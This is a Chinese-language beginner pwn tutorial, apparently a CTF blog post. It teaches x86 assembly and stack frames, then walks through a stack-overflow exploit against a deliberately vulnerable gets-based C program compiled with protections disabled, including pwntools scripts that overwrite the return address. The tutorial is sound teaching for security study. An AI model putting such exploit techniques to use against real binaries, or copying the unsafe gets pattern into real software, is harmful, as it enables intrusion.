Pwn入门系列(一)

汇编语言

汇编语言是一种低级编程语言,它与计算机的硬件关系非常密切,通常用于编写运行效率极高的软件。相比高级语言(如 C、Python),汇编语言更接近机器语言(0 和 1),编写时需要手动管理寄存器、内存等硬件资源。

引入

C语言代码

1
2
3
4
int sum(int x, int y){
int t = x + y;
return t;
}

汇编代码

1
2
3
4
5
6
7
sum:
push ebp
mov ebp, esp
mov eax, [ebp+12]
add eax, [ebp+8]
pop ebp
ret

1. 什么是汇编语言

汇编语言是介于机器语言和高级语言之间的一种语言。它使用助记符(如 MOVADDJMP 等)来表示机器指令,能够直接控制硬件。每种计算机架构都有自己的汇编语言,例如:

  • x86 汇编:用于 Intel 和 AMD 处理器。

  • ARM 汇编:用于移动设备和嵌入式系统。

汇编语言的特点:

  • 低级性:与硬件直接交互,提供对寄存器、内存等资源的直接控制。

  • 高效率:程序执行速度快,适合编写需要极高性能的代码。

  • 平台相关性:不同架构的汇编语言不通用。

2. 汇编语言的基本概念

2.1 寄存器

寄存器是 CPU 内部的高速存储单元,用于存储数据、地址、程序状态等。不同架构的 CPU 具有不同的寄存器集。在 x86 架构中,寄存器的大小经历了从 16 位到 32 位再到 64 位的扩展,现代 x86-64 架构支持 64 位寄存器。

X86架构是微处理器执行的计算机语言指令集,指一个intel通用计算机系列的标准编号缩写,也标识一套通用的计算机指令集。

1. 16位寄存器

早期的 x86 处理器使用 16 位寄存器,主要用于 8086 和 80286 处理器。常见的 16 位寄存器包括:

  • AX:累加器(Accumulator),用于算术运算和数据传输。

  • BX:基址寄存器(Base Register),常用于存储数据的内存地址。

  • CX:计数器(Counter),常用于循环和计数操作。

  • DX:数据寄存器(Data Register),用于 I/O 操作和扩展乘法、除法指令。

这四个寄存器还可以拆分为两个 8 位寄存器:

  • AHAL:AX 的高 8 位和低 8 位。

  • BHBL:BX 的高 8 位和低 8 位。

  • CHCL:CX 的高 8 位和低 8 位。

  • DHDL:DX 的高 8 位和低 8 位。

此外,16 位寄存器还包括:

  • SP:堆栈指针(Stack Pointer),指向当前栈顶的位置。

  • BP:基址指针(Base Pointer),常用于指向栈中的数据。

  • SI:源索引(Source Index),常用于字符串操作中的源地址。

  • DI:目标索引(Destination Index),常用于字符串操作中的目标地址。

2. 32位寄存器

随着 80386 处理器的推出,寄存器扩展为 32 位。16 位寄存器前面加上了 E 前缀,表示扩展为 32 位。例如:

  • EAX:32 位的累加器。

  • EBX:32 位的基址寄存器。

  • ECX:32 位的计数器。

  • EDX:32 位的数据寄存器。

同样,堆栈指针、基址指针和索引寄存器也扩展为 32 位:

  • ESP:32 位的栈指针。

  • EBP:32 位的基址指针。

  • ESI:32 位的源索引。

  • EDI:32 位的目标索引。

3. 64位寄存器

在 x86-64 架构中,寄存器再次扩展为 64 位,16 个通用寄存器分别以 R 为前缀。常见的 64 位寄存器有:

  • RAX:64 位的累加器。

  • RBX:64 位的基址寄存器。

  • RCX:64 位的计数器。

  • RDX:64 位的数据寄存器。

  • RSP:64 位的栈指针。

  • RBP:64 位的基址指针。

  • RSI:64 位的源索引。

  • RDI:64 位的目标索引。

此外,在 x86-64 中还新增了 8 个通用寄存器:

  • R8R15:额外的 64 位通用寄存器。

这些寄存器也可以访问低 32 位、16 位、甚至 8 位的数据。例如,R8 的低 32 位是 R8D,低 16 位是 R8W,低 8 位是 R8B

4. 标志寄存器

标志寄存器用于存储算术运算的结果状态,它的每一位代表一个特定的标志。例如:

  • ZF(Zero Flag):如果运算结果为 0,则设置该标志。

  • CF(Carry Flag):如果运算产生了进位或借位,则设置该标志。

  • SF(Sign Flag):如果运算结果为负数,则设置该标志。

  • OF(Overflow Flag):如果有符号运算溢出,则设置该标志。

5. 段寄存器

16 位和 32 位汇编中使用段寄存器来描述内存的不同段:

  • CS:代码段寄存器(Code Segment),指向正在执行的代码段。

  • DS:数据段寄存器(Data Segment),指向数据所在的段。

  • SS:堆栈段寄存器(Stack Segment),指向栈所在的段。

  • ESFSGS:额外段寄存器,常用于额外的数据段。

在 64 位模式下,段寄存器的使用有所减少,绝大部分程序不再依赖段寄存器。

2.2 操作数

汇编语言中的指令通常由操作码(opcode)和操作数(operand)组成。操作数可以是:

  • 立即数:如 50x10,直接表示一个常量。

  • 寄存器:如 AXBX,表示寄存器中的值。

  • 内存地址:如 [0x1000],表示某个内存地址中的值。

2.3 指令

指令是汇编语言的最小执行单元。常见的指令类型包括:

  • 数据传输指令:如 MOV,用于在寄存器、内存、立即数之间传递数据。

  • 算术运算指令:如 ADDSUBMUL,用于执行加法、减法、乘法等运算。

  • 逻辑运算指令:如 ANDORXOR,用于执行位运算。

  • 控制流指令:如 JMPCALLRET,用于控制程序的执行流程。

3. 汇编语言的基本语法

3.1 格式

汇编语言通常分为以下几部分:

  1. 指令助记符:表示具体的操作,如 MOVADD 等。

  2. 操作数:指令的操作对象,可以是寄存器、立即数、内存地址等。

  3. 注释:以 ; 开头,表示对代码的说明,不参与程序执行。

例如,x86 汇编代码的一条指令可能如下:

1
MOV AX, 5    ; 将立即数 5 赋值给寄存器 AX

3.2 基本指令

3.2.1 数据传输指令

1. MOV

数据传送指令

MOV 指令用于将数据从一个地方传送到另一个地方。

1
2
3
MOV AX, 10        ; 将立即数 10 赋值给 AX 寄存器
MOV BX, AX ; 将 AX 的值复制到 BX
MOV [0x1000], AX ; 将 AX 的值存储到内存地址 0x1000
2. XCHG

交换指令

XCHG 指令用于交换两个操作数的值。

1
XCHG AX, BX      ; 交换 AX 和 BX 中的值
3. PUSH &POP

堆栈操作指令

PUSHPOP 指令用于将数据压入栈或从栈中弹出。

1
2
PUSH AX          ; 将 AX 的值压入栈
POP BX ; 从栈中弹出值存入 BX

3.2.2 算术运算指令

1. ADD

加法指令

ADD 指令用于执行加法运算,并将结果存储在第一个操作数中。

1
ADD AX, BX       ; 将 AX 和 BX 的值相加,结果存储在 AX 中
2. SUB

减法指令

SUB 指令用于执行减法运算。

1
SUB AX, 5        ; 从 AX 中减去 5,结果存储在 AX 中
3. INC & DEC

自增指令和自减指令

  • INC 指令用于将操作数加 1。

  • DEC 指令用于将操作数减 1。

1
2
INC AX           ; 将 AX 的值加 1
DEC BX ; 将 BX 的值减 1
4. MUL & IMUL

MUL和IMUL乘法指令

  • MUL 指令用于无符号乘法。

  • IMUL 指令用于有符号乘法。

1
2
MUL BX           ; 无符号乘法,AX = AX * BX
IMUL BX ; 有符号乘法,AX = AX * BX
5. DIV & IDIV

除法指令

  • DIV 指令用于无符号除法。

  • IDIV 指令用于有符号除法。

1
2
DIV BX           ; 无符号除法,AX = AX / BX
IDIV BX ; 有符号除法,AX = AX / BX

3.2.3 逻辑运算指令

1. AND

按位与指令

AND 指令对两个操作数进行按位与运算。

1
AND AX, BX       ; AX = AX & BX
2. OR

按位或指令

OR 指令对两个操作数进行按位或运算。

1
OR AX, BX        ; AX = AX | BX
3. XOR

按位异或指令

XOR 指令对两个操作数进行按位异或运算。

1
XOR AX, BX       ; AX = AX ^ BX
4. NOT

取反指令

NOT 指令对操作数进行按位取反。

1
NOT AX           ; AX = ~AX

3.2.4 控制流指令

1. JMP

无条件跳转指令

JMP 指令用于无条件跳转到程序中的某个标签位置。

1
JMP start        ; 跳转到标签 start 处继续执行
2. CMP

CMP 指令比较两个操作数,并根据结果设置标志寄存器。常与条件跳转指令(如 JEJNEJGJL 等)配合使用。

1
2
3
CMP AX, BX       ; 比较 AX 和 BX
JE equal ; 如果 AX 等于 BX,跳转到 equal 标签
JNE notequal ; 如果 AX 不等于 BX,跳转到 notequal 标签

常见的条件跳转指令:

  • JE / JZ:等于 / 零时跳转(Jump if Equal / Zero)。

  • JNE / JNZ:不等于 / 非零时跳转(Jump if Not Equal / Not Zero)。

  • JG / JNLE:大于时跳转(Jump if Greater)。

  • JL / JNGE:小于时跳转(Jump if Less)。

  • JGE:大于等于时跳转(Jump if Greater or Equal)。

  • JLE:小于等于时跳转(Jump if Less or Equal)。

3. CALL & RET

函数调用与返回指令

CALL 指令用于调用子程序,RET 指令用于从子程序返回。

1
2
CALL func        ; 调用函数 func
RET ; 从函数返回
4. LOOP

循环指令

LOOP 指令用于循环操作,依赖于 CXECX 寄存器的值。

1
2
3
4
MOV CX, 10       ; 将 10 赋值给 CX
loop_start:
; 循环体
LOOP loop_start ; CX = CX - 1,若 CX 不为 0,则跳转到 loop_start

3.2.5 位移指令

1. SHL & SAL

左移指令

  • SHL(Shift Logical Left):逻辑左移,空出的位用 0 填充。

  • SAL(Shift Arithmetic Left):算术左移,与 SHL 相同。

1
SHL AX, 1        ; 将 AX 左移 1 位
2. SHR& SAR

右移指令

  • SHR(Shift Logical Right):逻辑右移,空出的位用 0 填充。

  • SAR(Shift Arithmetic Right):算术右移,符号位保持不变。

1
SHR AX, 1        ; 将 AX 右移 1 位

3.2.6 字符串操作指令

1. MOVSB / MOVSW / MOVSD

字符串移动指令

  • MOVSB:字节传送。

  • MOVSW:字传送。

  • MOVSD:双字传送。

1
MOVSB            ; 将 DS:SI 指向的字节传送到 ES:DI
2. REP

重复前缀指令

REP 指令用于重复执行字符串操作指令,直到 CX 寄存器的值为 0。

1
REP MOVSB        ; 重复执行 MOVSB,直到 CX 为 0

参考书籍与链接

汇编语言 教程 | 参考手册 (cankaoshouce.com)

汇编语言(第4版) (王爽)

Hello,World!

1
2
3
4
5
6
7
8
9
10
11
12
13
section    .text
global _start ;必须为链接器(ld)声明
_start: ;告诉链接器入口点
mov edx,len ;消息长度
mov ecx,msg ;写消息
mov ebx,1 ;文件描述符 (stdout)
mov eax,4 ;系统调用号 (sys_write)
int 0x80 ;调用内核
mov eax,1 ;系统调用号 (sys_exit)
int 0x80 ;调用内核
section .data
msg db 'Hello, World!', 0xa ;要打印的字符串
len equ $ - msg ;字符串的长度

函数调用

1. 栈

栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的

2. 调用流程

C语言例子

main函数调用func_b函数,func_b函数调用func_a函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>

void func_a(){
//do sth
return;
}
void func_b(){
func_a();
int c = 1;
return;
}

int main(){
func_b();
int a = 2;
return 0;
}

2.1 调用func_b函数

①当运行到call func_b时main函数的栈帧

②RBP指向栈底,RSP指向栈顶

③这段栈帧存放了一些main函数的局部变量

④main函数要调用func_b,main只需要call func_b

⑤也就是

  • push rip;
  • mov rip func_b;

①那么此时跳转到func_b继续执行,func_b直接执行主逻辑吗?

②显然不是的,被调用函数func_b还需要维护栈帧。

③具体来说,需要以下几步:

  • push rbp;将调用函数的栈底指针保存。
  • mov rbp, rsp;将栈底指针指向现在的栈顶。
  • sub rsp, xxx;开辟被调用函数栈帧,此时上一步的rbp就是指向栈帧的底。

2.2 调用func_b函数完成

①func_b执行完维护栈帧操作后的栈布局

②所谓栈帧的维护就是维护rbp和rsp两个指针

③rsp永远指向栈顶

④rbp用来定位局部变量

2.3 调用func_a函数

①现在,func_b函数要调用func_a函数,其调用流程与main函数调用func_b函数基本一致。

②不同处在于返回地址、rbp和rsp指向的地址,以及开辟的栈空间的不同。

2.4 调用func_a函数完成

①func_b函数调用完func_a函数后的栈布局

②至此,示例的函数已经调用完毕

③至此,示例的函数调用已经完毕

④现在,func_a执行完毕,要返回了

⑤该如何维护栈帧呢?

2.5 leave指令

①leave指令作用是维护栈帧,通常出现在函数的结尾,与ret连用

②其实际作用为

  • mov rsp, rbp;
  • pop rbp;

③将栈顶指针指向栈帧底部,然后在栈中弹出新的栈底指针

2.6 返回func_a函数

①在一个函数执行结束返回时,会执行leave; ret ;

②实际效果就是:

  • mov rsp rbp; 将栈顶指针指向现在的栈底
  • pop rbp; 将保存的栈底指针弹出
  • pop rip;执行下一条指令

③func_a函数执行完毕返回后,栈布局如图:

③可以与之前func_b函数未调用func_a函数前的栈帧对比

④一模一样,说明已经恢复了栈帧

⑤唯一不同处就在于此程序的rip已经指向了c=1

2.7 返回func_b函数

①func_b函数执行完毕返回后,栈布局如图:

在这之后,main函数继续执行,直到结束。

2.8函数调用流程总结

①调用函数:只需要将rip压栈,即push rip,然后将rip赋值为被调用函数的起始地址,这已操作被隐性的内置在call指令中。

②被调用函数:push rbp; mov rbp rsp; sub rsp xxx。

即保存调用函数的rbp指针,将自己的rbp指针指向栈顶,然后开辟栈空间给自己用,此时就变成了被调用函数的栈底。

③函数返回:leave; ret; 翻译过来就是:mov rsp rbp; pop rbp; pop rip; 即恢复栈帧,返回调用函数的返回地址。

3. 调用约定

函数返回值约定

  • 一般来说,一个函数的返回值会存储到RAX寄存器

32位和64位程序参数调用约定

  • x86

  • 函数参数函数返回地址的上方

  • x64

  • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。

  • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

栈溢出原理

前言

Linux 环境中,二进制可执行文件的类型是(Executable and Linkable Format)文件。

ELF 文件中包含许多个节(section),各个节中存放不同的数据,这些节的信息存放在节头表中,主要包括

在 ida 中按下 Ctrl+s,可以看到各个节的信息

正文

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

32 位程序

举个C语言例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。从代码中可以看出main函数调用了vulnerable函数,但main函数和vulnerable函数都没有调用success函数,我们假设success函数中puts语句输出的内容即为我们的flag,那我们就希望获得succes函数中的flag,应该怎样获取flag呢,请往下看

使用以下命令编译程序

1
gcc -m32 -fno-stack-protector -no-pie pwn.c -o pwn32

可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 为了更加方便地介绍栈溢出的基本利用方式,使用-no-pie关闭 PIE(Position Independent Executable),避免加载基址被打乱。

编译成功后,可以使用checksec检查编译的文件

确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看vulnerable 函数

该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

并且,我们可以通过 IDA 获得 success 的地址,其地址为0x8049196

那么如果我们读取的字符串为

1
2
'A'*0x14+'bbbb' + success_addr
#success_addr即为success函数地址

由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr(返回地址) 覆盖为 success_addr,即0x8049196,此时的栈结构为

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| 0x08049186 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+

编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# 构造与程序交互的对象
p = process('./pwn32')
success_addr = 0x8049196
# 构造payload
payload = b'A'*0x14 + b'A'*0x4 + p32(success_addr)
#print(p32(success_addr))
# 向程序发送字符串
p.sendline(payload)
# 将代码交互转换为手动交互
p.interactive()

运行 exp

64 位程序

C语言例子同上

使用以下命令编译程序

1
gcc -fno-stack-protector -no-pie pwn.c -o pwn64

编译成功后,使用checksec检查编译的文件

我们同样利用 IDA 来反编译一下二进制程序并查看vulnerable 函数,该字符串距离 rbp 的长度为 0xC

如果我们同样按照 32 位程序的方法,将 success 函数的地址 0x401176 作为返回地址

1
2
success_addr = 0x401176
payload = b'a'*0xC + b'a'*8 + p64(success_addr)

写出 exp

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./pwn64')

success_addr = 0x401176

payload = b'a'*0xC + b'a'*0x8 + p64(success_addr)
p.sendline(payload)

p.interactive()

运行脚本后,发现并没有获取到命令行的控制权

调试过程

那么究竟是什么原因导致没有获取到控制权,我们可以在脚本中加入调试语句,然后逐步调试寻找原因

调试脚本,使用 attach 语句将断点下在 gets 函数即 0x4011BC 处

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./pwn64')

success_addr = 0x401176

attach(p, 'b *0x4011BC')
payload = b'a'*0xC + b'a'*0x8 + p64(success_addr)
p.sendline(payload)

p.interactive()

输入 ni 指令回车

同时,我们关注汇编窗口,然后一直回车

当程序运行至 vulerable 函数处,我们可以放慢速度并观察程序运行情况

当执行完 puts 函数之后可以看到程序打印了输入内容

继续回车,发现程序已经运行至 success 函数,执行完 puts 之后将内容打印

继续回车,当程序执行到 system 时注意观察

回车之后,程序会跳入 do_system 函数执行

再次回车之后发现程序并没有继续执行,这实际上是程序卡在了 movaps 指令上,这个指令涉及到 xmm 寄存器,该寄存器为128位,就要求 rsp 为 16 字节对齐。16字节对齐意味着 rsp 地址必须能够被16整除,即地址的最低4位(在二进制表示中)必须为0。

那么应该怎样进行 16 字节对齐呢,具体方法就是跳过 success 函数中一条栈指令即 push rbp ,减少⼀次对栈的操作,然后选用 0x40117B 作为返回地址。

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./pwn64')

success1_addr = 0x40117B

# attach(p, 'b *0x4011BC')
payload = b'a'*0xC + b'a'*0x8 + p64(success1_addr)
p.sendline(payload)

p.interactive()

运行脚本

总结

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入

    • gets,直接读取一行,忽略’\x00’

    • scanf

    • vscanf

  • 输出

    • sprintf

    • 字符串

    • strcpy,字符串复制,遇到’\x00’停止

    • strcat,字符串拼接,遇到’\x00’停止

    • bcopy

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

参考阅读

https://ctf-wiki.org/


Pwn入门系列(一)
https://tsuk1ctf.github.io/post/47670.html
作者
Tsuk1
发布于
2024年12月26日
许可协议